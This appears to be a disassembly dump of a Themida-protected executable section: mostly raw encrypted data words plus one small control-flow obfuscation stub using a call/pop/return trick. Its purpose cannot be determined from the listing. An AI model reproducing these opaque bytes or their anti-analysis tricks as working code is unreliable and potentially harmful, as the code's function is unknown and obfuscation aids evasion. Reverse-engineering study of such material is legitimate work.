		dd 4E18006h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	0E3C35747h, 15DD7E1Dh, 759D8B35h, 0A06110Fh, 84840FC9h
		dd 0F000001h, 858BD8B7h, 6111BF5h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 0FAC35747h,	0AD871517h, 0CE3528B2h
		dd 9D895606h, 61127C5h,	585335Bh, 0F061103h, 6690FFB7h
		dd 9050FA8Bh, 0FAF0B6BBh, 6A006A79h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 6EDC355h
		dd 0EC2EFC73h, 32959D0Bh, 4E80611h, 0FF000000h,	8B001F03h
		dd 0DE950FAh, 25000000h, 10EE7208h, 0A2048746h,	9482BC40h
		dd 424448Bh, 0BB665351h, 5F5B05CFh, 0E860008Bh,	7, 0F7BA5731h
		dd 0E89BB1FFh, 12h, 183CD745h, 0AEBF9649h, 0E2844D1Ch
		dd 8D3DAC67h, 58585E93h, 2E3DBE60h, 0DE905E5h, 0FF000000h
		dd 0EBE16AA8h, 93706450h, 0D8D3EF53h, 44896161h, 14E90424h
		dd 0B000000h, 0EF26CDBFh, 81146E4Ch, 20208290h,	0F87471Eh
		dd 58D9C54Dh, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Dh,	5AC35242h, 3E48C00Ch, 371F276Ah, 0FFFA8B14h, 112AC195h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 0F926AF6Fh, 0E7F8ABE0h, 2BB66F3h, 768589D0h
		dd 30614BDh, 1112159Dh,	241E906h, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 39391BC3h
		dd 8BF9ABBFh, 14BD6E85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 0DBFA0BBCh, 0BD8BD098h
		dd 6112849h, 1800C7h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 4DE28C3h, 5C8E138Bh
		dd 72B58BB5h, 0F0614BDh, 0D82h,	8E900h,	0EE0E0000h, 0D2FD394h
		dd 9D0BD6CCh, 6112B5Dh,	14E9858Bh, 6A0611h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 689BBC3h
		dd 9CD1DF81h, 858B1796h, 6111BF5h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 6EC35040h, 66502B2Ch, 6BE5F381h
		dd 8979B75Fh, 6A0446h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 0F0F4D8C3h, 8A8968B5h, 0EE850FCh
		dd 2B000000h, 478D294Dh, 71A6698Ch, 284E6C3Bh, 34895FC1h
		dd 25BD0B24h, 0E8061123h, 10h, 5C8031B5h, 0ABA0D127h, 946DA38h
		dd 20AB48C3h, 15719D2Bh, 0FF5F0611h, 14BD6EB5h,	58C0F06h
		dd 0BF000000h, 33D04DF3h, 4E8h,	1F03FF00h, 0E5BB6600h
		dd 8B665021h, 24448BF8h, 0CE904h, 493A0000h, 0DFEEDBE0h
		dd 0D9CA2FBAh, 8BF4A8h,	4489DA8Bh, 0DE8A0424h, 55006A58h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 0C66AC7FDh, 0A8B807C8h, 1BAD9D33h, 858D0611h, 614BD76h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 8EC35646h
		dd 0A24C0313h, 5E8F88Bh, 70000000h, 80F9C0Fh, 4AF9DDBBh
		dd 50505F0Eh, 0FFB8B52h, 11E931h, 56160000h, 93A20957h
		dd 15ECE685h, 0CD5A4E8Eh, 5AE69E93h, 24048958h,	0E6D9D01h
		dd 95FF0611h, 6112AC1h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 42C35040h, 0E74C9644h, 613C8997h, 5E9h
		dd 0B2733C00h, 858963BEh, 6112645h, 270985C7h, 30611h
		dd 0BE80000h, 0C6000000h, 0A18F149Ch, 0C4D34EDh, 0BF0F1A5Dh
		dd 0BD835FF9h, 614BD76h, 44840F00h, 0F9000000h,	59E9h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 575AF808h, 0C3790A1Dh, 0B5899D78h, 6113099h
		dd 0D890Fh, 66600000h, 0EDE6CB81h, 1ED9BD01h, 50610611h
		dd 110C30h, 0C1011144h,	443010E8h, 4C000211h, 83580311h
		dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h
		dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h
		dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h
		dd 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 0D86C1C3h, 0BD8BE43Dh, 6110135h, 15A59D8Bh
		dd 0BD830611h, 6112709h, 58850F03h, 6A000004h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 0ABAEC352h, 8959175Eh, 110C5995h, 76BD8306h,	614BDh
		dd 425840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 7B820DC3h, 0E2F432AFh, 0E84DB7F7h
		dd 5, 26BD7DEDh, 0FF5BF99Fh, 14BD76B5h,	50006A06h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
		dd 0B19B4188h, 3D09CF81h, 95FF6311h, 6113291h, 345BD89h
		dd 0B58B0611h, 614BD6Ah, 0C7F8B70Fh, 1000106h, 259D8B00h
		dd 50061130h, 5E9h, 0A248F400h,	3489FBDCh, 0D88B6624h
		dd 0FF14E780h, 14BD76B5h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 44BC02A2h
		dd 0E99D8BD8h, 0FF061121h, 1100E995h, 0BDB58906h, 8B06110Ah
		dd 14BD6AB5h, 0D6D8BF06h, 858B034Bh, 6111425h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 56C35141h, 0F5E74A63h
		dd 0C48689h, 958B0000h,	611285Dh, 6830Fh, 0B5290000h, 6112C91h
		dd 6A04C283h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 92C8C352h, 64EF0EA2h, 9D8B0131h
		dd 61104D9h, 6A205089h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 727CC350h, 0EEC7719Ah
		dd 8D316313h, 14D06285h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 0C3FECD07h, 8E94C57h
		dd 34000000h, 0CB29638Bh, 89E8552Fh, 0B886h, 50006A00h
		dd 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
		dd 26498819h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 0DC7141C3h, 9CC2CF50h, 32359529h
		dd 0B5FF0611h, 614BD76h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Bh, 69C35141h, 2E687471h,	0FF596000h, 112B6595h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 0E6F12939h, 0DB1458D0h, 0BD2BE4E2h, 61130F1h
		dd 5880F96h, 0BB000000h, 5134669Ch, 6AD2BB50h, 6A963F2Dh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 67B2C350h, 0A66D42FCh, 89C5BAFDh,	111C4DBDh
		dd 68D0F06h, 31000000h,	1129CD85h, 76B5FF06h, 6A0614BDh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 650EC351h, 620F16E7h, 666FFEC1h, 0FFDDDFBFh
		dd 110E2995h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 7FDBEF8Bh, 83B3B3E4h, 112761BDh
		dd 840F0006h, 2Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 0C3C35343h, 13C8526Fh, 5BB6696h, 669650E7h
		dd 0FF6FF9BBh, 14BD76B5h, 0CE906h, 81830000h, 7AA451E5h
		dd 7808FBAFh, 0D88AB268h, 12F195FFh, 840F0611h,	6, 93D8D01h
		dd 0B5FF0611h, 614BD76h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 6EC35646h, 8E9F518Eh,	743D1D70h, 5E9h
		dd 0EB488300h, 95FFA0C9h, 61105B9h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 0E2C35545h,	0F3FD09D8h, 219D2953h
		dd 0E906112Ch, 6, 6D6E9796h, 0BD8355BAh, 611013Dh, 2C840F02h
		dd 23000000h, 110219BDh, 1858B06h, 0E9061131h, 11h, 73E162EFh
		dd 0C5384C41h, 0B48E1B06h, 0F9129E67h, 0C6B4h, 4714B960h
		dd 0C76102D2h, 1104D585h, 6, 57006A00h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 0AE8D5h, 0A0760000h
		dd 8CE38AA6h, 0A10396A5h, 2BB9B589h, 0E95B0611h, 0FFFFF186h
		dd 0C18BDA8Bh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	35C35141h, 10E9h, 0E06C5500h, 0EFC72824h, 14127BA7h
		dd 0F82E50D5h, 95858D10h, 6A061127h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 6167C355h
		dd 13A19D31h, 820F0611h, 6, 21258589h, 60500611h, 11E860h
		dd 71F70000h, 790F133Ah, 0E6D1555Eh, 76B79A30h,	58741532h
		dd 60616160h, 316B45BFh, 8961613Bh, 6A2404h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 1B990C3h
		dd 0F1313431h, 9D03A61Eh, 6112361h, 14E9h, 90500h, 31D7E0F5h
		dd 0CBF29632h, 5BDAB75Eh, 95F7D04Bh, 60006AA8h,	0DD8D8952h
		dd 5F06112Ah, 0ED59D8Bh, 6A610611h, 0D88B6600h,	0C1E5858Dh
		dd 81660615h, 83B8A1C7h, 6A05C0h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 0C4A923C3h, 3CBBCA21h
		dd 5090AA9Ch, 0AE852h, 49680000h, 7FAFBE46h, 0C69E7368h
		dd 0F5FFE8Bh, 5E576031h, 61DE8B66h, 0F50585Ah, 284h, 90DE8B00h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 83C35141h
		dd 6AF5FE80h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 2620980Bh, 0D18D3144h, 8B06112Bh
		dd 1130FD9Dh, 6A006A06h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 25B3C353h, 0F98529A1h
		dd 0FF061114h, 11075D95h, 208D8D06h, 890614A4h,	11344585h
		dd 6AD1FF06h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 8BB2C351h, 9D8953D9h, 6112B69h
		dd 12E85Fh, 115E0000h, 84A68266h, 0CBECDC4Dh, 7DF52700h
		dd 25FBEA75h, 1D8D9D33h, 835B0611h, 111B71BDh, 850F0106h
		dd 6Bh,	8A0Fh, 26A0000h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 9DC35747h, 0E97F3612h, 11FC6C31h, 21299D09h
		dd 85890611h, 6112399h,	89FE8A50h, 6A2404h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 89765AC3h
		dd 111461B5h, 95FFF906h, 6112B65h, 0E9FEB70Fh, 0EABh, 0E8h
		dd 0ED815D00h, 615C1EFh, 7EC38166h, 5E9EEh, 0C6EF0000h
		dd 8BAD1B3Bh, 1108D99Dh, 68858D06h, 51061489h, 58D0Fh
		dd 0CABB0000h, 5F0B83E6h, 0EE86050h, 61000000h,	0CFA3228Eh
		dd 5F69075Fh, 3ED0DCF1h, 8C0FA2h, 5E000000h, 0D78B6660h
		dd 310F5250h, 6161585Ah, 6A240489h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 0E0F0C356h
		dd 48E0Fh, 0BF660000h, 0FF6480AEh, 35h,	57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
		dd 0A970BA46h, 258964h,	6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 8959C350h
		dd 85FF08BEh, 61107ADh,	12E9h, 0C60AD00h, 4F11766h, 43ECF464h
		dd 88E8058Ch, 6ABDEC4Eh, 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 66E601B4h, 0B5FFF88Bh
		dd 61103A1h, 150D95FFh,	7FE90611h, 0F000001h, 68Ah, 0CCB8100h
		dd 0B046D168h, 6810F00h, 29000000h, 11042185h, 0E870E606h
		dd 10h,	502B961Dh, 0A0A11824h, 0F8C3F95Bh, 93C3DACFh, 5BF9BF0Fh
		dd 10E971E4h, 0AC000000h, 0EEBFD691h, 7007D0BBh, 7B356F1Ch
		dd 3C778B88h, 2B830F61h, 0E8000001h, 12h, 9E127515h, 1C718157h
		dd 68E6399Eh, 0FE932D80h, 0BD098C49h, 6112AB9h,	0C8B60F5Bh
		dd 599D3357h, 5F061114h, 6BAh, 12E900h,	0B2C20000h, 5DD0D137h
		dd 0E23E1036h, 5BCB45A9h, 1F93DC7Ah, 860FC18Bh,	3, 0C1F8B70Fh
		dd 0F76604E8h, 8DBD8BE2h, 2B061113h, 9D8B60C8h,	6111CC9h
		dd 6800Fh, 85890000h, 6112A25h,	0BFD18B61h, 342ACD5Bh
		dd 0ADE9h, 319D8900h, 89061123h, 112909BDh, 8858B06h, 29000000h
		dd 1125BDBDh, 7C08306h,	11E9h, 0BC35E600h, 0F7199CA1h
		dd 20B0CA94h, 93C07D0Eh, 0C083CEA3h, 0B99D8B00h, 3B06110Dh
		dd 1F830FD0h, 0E9000000h, 0Fh, 0D41C870Eh, 0DFDD1830h
		dd 4B518213h, 0E9F64D26h, 52h, 1EED8589h, 8D8B0611h, 0FFFFFFFFh
		dd 0E18D89h, 1B70611h, 0F01E183h, 3584h, 12E800h, 2DB00000h
		dd 0C2C04603h, 0A9CBE3D7h, 0ACF28DCh, 78DC19B3h, 835FDF8Bh
		dd 0FFFFFFA5h, 0CB80FEFFh, 89D88B0Dh, 895h, 0DC8A5700h
		dd 0E95Bh, 0B58D0000h, 6153DAEh, 0E856006Ah, 3,	5EC35E20h
		dd 4247489h, 4244481h, 19h, 1AC35646h, 49DA3D93h, 6860F40h
		dd 89000000h, 110E4D8Dh, 81006A06h, 0DDA2D8DFh,	0C595FF44h
		dd 6A061105h, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0F0A4C356h
		dd 8BB5A585h, 9D234B02h, 61114F9h, 0FF6B9h, 0A9852900h
		dd 8306111Fh, 6AFCE1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 29E668C3h, 0FA1ABA90h, 8509E034h
		dd 611347Dh, 0B3BF66FCh, 81C02B79h, 63AF20C7h, 0BA19h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 0F727FC3h, 890FD8BFh, 6, 0DE5BEF81h, 33AD61C2h
		dd 3E8D1C2h, 4E983D0h, 0CE9F475h, 0C3000000h, 3148F9FEh
		dd 2F7172BDh, 6AF4579Bh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 0D8A9C353h,	68F7CD76h
		dd 14911ABBh, 880Dh, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 0F3813126h, 0C64F7B4h
		dd 285D958Bh, 6A0611h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 80952BC3h, 8D8BB6CBh, 6112DD1h
		dd 0CE9h, 8AC94500h, 0A7CC8CBCh, 988C488Eh, 0C28B50EBh
		dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 0E491C351h, 0D59D8B9Dh, 6A06111Bh, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 6F2FC353h
		dd 1BD3808Eh, 836CBE85h, 0AD1BBB66h, 0BE9h, 526FC300h
		dd 45D513C8h, 79FFEF2Fh, 2381BD83h, 0F000611h, 0AF84h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 852790CCh, 8B66AAC2h, 958960D9h,	61100B9h
		dd 0B861h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 4C8F09C3h, 0FEDDF10Eh, 0B1799BBBh
		dd 3E8D8D72h, 6A06114Eh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 0B081C352h,	27DAFBD1h
		dd 6009054Fh, 14B18D8Bh, 0C78A0611h, 6AE1FF61h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 0B349C353h, 0BAAD9F86h, 2709BD83h, 0F000611h, 47D84h
		dd 3D958900h, 83061132h, 112709BDh, 840F0106h, 485h, 1549BD33h
		dd 0BD830611h, 6112709h, 3C860F03h, 6A000004h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 0FA60C357h, 8C5A9722h, 49B85E92h, 28E0Fh, 70B70000h
		dd 29CD9D89h, 0F600611h, 68Fh, 5D9D8900h, 66061127h, 6AD98Ch
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 0FA759C3h, 684h, 7D8D8900h, 8906112Ch, 11248DB5h, 91B52906h
		dd 80061104h, 6A04E1h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 0BD8B27C3h, 61115ADh, 59D8B56h
		dd 5B061102h, 840FC90Ah, 16Dh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 0DAC35343h,	69B9E89Ch, 981E4BE9h
		dd 5E8h, 4458E000h, 8B5FFD74h, 111BF585h, 81BD8B06h, 3306110Ch
		dd 11030585h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1C04h, 0C3504000h, 0D057171Ch, 0DED452E3h, 60509018h
		dd 0E70182B9h, 0F52507Ah, 61585A31h, 5E8505Bh, 8F000000h
		dd 54FDB0BDh, 28F0Fh, 5B560000h, 6A905Fh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 5E7C44C3h
		dd 0ECDB589h, 0BD230611h, 6111B35h, 5B57006Ah, 4E8h, 1F03FF00h
		dd 0DABB5000h, 8B60425Eh, 8B042444h, 8E900h, 43020000h
		dd 0CC61C74Ah, 4489ECEAh, 6E90424h, 0C4000000h,	91EA6BC9h
		dd 6A5804h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 6BB8E0C3h, 0BB66C04Bh, 95FFA0A0h,	6112AC1h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 52C35747h
		dd 0E0A1D80Ah, 897A51C3h, 14BD7685h, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 7B9F2425h
		dd 668E81EAh, 0C5E9FB8Bh, 8B000001h, 1125DD9Dh,	6E858B06h
		dd 6A0614BDh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 249CC357h, 0A84B5B4h, 0DABF66DAh
		dd 1800C726h, 8B000000h, 14BD72B5h, 618D8906h, 0E8061114h
		dd 10h,	335E70Ah, 9B7B9E0Eh, 13B3C4D3h,	2BE4316h, 259B501h
		dd 8B5B0611h, 1114E985h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 0F9B70F95h, 6A0689h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 56BDEDC3h, 2235B589h, 858B0611h, 6111BF5h, 0BE9h, 0E6D6D600h
		dd 0E0E596FFh, 4E186BE7h, 0E9044689h, 13h, 434D751Eh, 0D53475BFh
		dd 0D4FABA70h, 0A7831DE6h, 50CCB3CFh, 10E9h, 0CC041900h
		dd 5682363Fh, 2F5B3E1Bh, 1EBDE525h, 2434895Ah, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 55C35242h, 0F4E6DD69h
		dd 0A843E8B6h, 0BD6EB5FFh, 0DF800614h, 3F75682Ah, 34811644h
		dd 5B3C8A24h, 52006A16h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 5847190Ch, 73082C05h, 0BD76858Dh
		dd 0E9900614h, 0Fh, 3483BCCFh, 0CB29638Bh, 0F8E8552Fh
		dd 501132BAh, 12E85250h, 78000000h, 8E266AA7h, 92AA9399h
		dd 0B8E1995Ch, 4707EDF2h, 0FA8B66E6h, 66310F5Fh, 585AFB8Bh
		dd 53006A90h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 104653BCh, 0ED850960h, 61061112h, 2AC195FFh
		dd 860F0611h, 0
; ---------------------------------------------------------------------------
		popa
		push	0
		push	eax
		call	sub_59671C
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59671C	proc near		; CODE XREF: Themida_:00596714p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_59671C	endp

; ---------------------------------------------------------------------------
		dd 1AD1A18Bh, 0C7E6F0EFh, 11270985h, 306h, 0E870F00h, 0E9000000h
		dd 9, 0A873F2EEh, 83EA6D9Eh, 0BD83FC8Ah, 614BD76h, 14840F00h
		dd 29000000h, 110FADB5h, 24E906h, 9D8B0000h, 6112161h
		dd 50FBB70Fh, 110C30h, 0C1011144h, 443010E8h, 4C000211h
		dd 83580311h, 0E77504E9h, 305036EBh, 64001104h,	0E8C10111h
		dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
		dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
		dd 0EBE775h, 19B7C08Bh,	0BD83D88Bh, 6112709h, 47850F03h
		dd 6A000004h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 834FC356h, 83F50C19h, 14BD76BDh
		dd 840F0006h, 41Ah, 5CD8589h, 0B5FF0611h, 614BD76h, 22C59D8Bh
		dd 95FF0611h, 6113291h,	2445BD8Bh, 0B58B0611h, 614BD6Ah
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 52C35646h
		dd 0A2DA8C02h, 3FECB0C6h, 9E896h, 724A0000h, 766FC7A8h
		dd 5B6DBD9Ah, 106C7h, 6A0001h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 0F74F49C3h, 0BF4E307Ah
		dd 3E11D2Dh, 0B0B86660h, 11E90Bh, 363E0000h, 91C685B3h
		dd 1E59AA28h, 8EC0B9Eh,	615417B3h, 0D159BB96h, 535048B3h
		dd 0CE9h, 0A12D6E00h, 46414A3h,	0E81427A9h, 60965B81h
		dd 1D518D89h, 4ABA0611h, 61309E84h, 0BD76B5FFh,	9D8B0614h
		dd 6110071h, 0E995FFh, 6A0611h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 0B4BE1DC3h, 158895D7h
		dd 0D7816632h, 8E9EEF1h, 0DB000000h, 0A39D2FE3h, 8BB45870h
		dd 14BD6AB5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 0DFC42FD4h, 0B70FEFB0h, 25858BDFh
		dd 6A061114h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 5D1BC357h, 5592ED1Fh, 502827FDh
		dd 0C48689h, 0BD010000h, 6111369h, 285D958Bh, 6A0611h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 8BFCD0C3h, 4C283FEh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 18C35646h, 2DBD2376h,	8906111Eh, 870F2050h
		dd 4, 0B460BF66h, 0D062858Dh, 0F98B0614h, 0B88689h, 0DE90000h
		dd 5F000000h, 68E1A926h, 0AC26B8F5h, 317D19F2h,	6A006Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 25F5DFC3h, 35EFC573h, 68C0FFBh, 89000000h, 11080585h
		dd 359D8B06h, 0FF061105h, 14BD76B5h, 0CD9D3106h, 89061114h
		dd 1109CD95h, 6595FF06h, 0F506112Bh, 0FA8B6650h, 57243489h
		dd 7C9BD8Bh, 0FF5B0611h, 14BD76B5h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 561F97DDh
		dd 0BA44BF66h, 0D9D895Bh, 0FF061109h, 110E2995h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 0D6B1803Ch, 8EBCEC1Fh, 0F8B33FD7h, 83FFB70Fh, 112761BDh
		dd 840F0006h, 43h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 1CC35545h, 0EBC065E1h, 810F6096h, 5
		dd 534EA3B8h, 615A5612h, 890F5650h, 3, 5BF88B66h, 8F0F96h
		dd 0FF000000h, 14BD76B5h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 0C470DC0h
		dd 66607A5Fh, 89172AB9h, 11122DBDh, 9D296106h, 6112341h
		dd 12F195FFh, 0E9600611h, 12h, 0BD2829Ah, 0D432CF40h, 62F3367Eh
		dd 0C526D33Dh, 9533BF24h, 6112101h, 76B5FF61h, 30614BDh
		dd 110491BDh, 0B995FF06h, 6A061105h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0C5BEC356h
		dd 3DBD834Ch, 2061101h,	76840Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 834E29C3h
		dd 85891E0Eh, 6110DE9h,	3101858Bh, 6A0611h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 50C17CC3h
		dd 0C6FAh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ah,	70C35040h, 0B43AC883h, 0BD892A73h, 6110DB9h, 4D585C7h
		dd 611h, 870F0000h, 2, 7CE9DF8Bh, 0E9FFFFF2h, 0Fh, 0C0D6F8C4h
		dd 69E33DB2h, 0A9E0C763h, 8B68B3ABh, 56006AC1h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 199D8B08h
		dd 8D061115h, 11279585h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 0F500FEAh, 386h, 0DE8B6600h
		dd 0E9240489h, 0Ch, 79EAA3CFh, 9F4505E3h, 54C19852h, 6A006Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 0E72C2AC3h, 8D89BDB7h, 6112BB9h, 6A006Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0DDD051C3h
		dd 0B4C2F707h, 0BFE242DBh, 31AB55EFh, 858DDE8Bh, 615D28Ch
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0CFC35545h
		dd 41B74BD0h, 0B863CCA8h, 6A05C083h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 7614C356h
		dd 48F0F50h, 66000000h,	899D09BFh, 81662404h, 896566E7h
		dd 112031B5h, 8B006A06h, 1114859Dh, 0F006A06h, 95FFDEB7h
		dd 611075Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 17h,	0E6C35343h, 8D4AB054h, 14A4208Dh, 50006A06h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
		dd 1780B235h, 0FF0F3F9Bh, 0FE9D1h, 0C72C0000h, 81CFBE3h
		dd 5B1BF9C3h, 82DCBB2Ah, 71BD8374h, 106111Bh, 80850Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 2AB72EC3h, 5877D7Fh, 8BC8F031h, 1126B99Dh
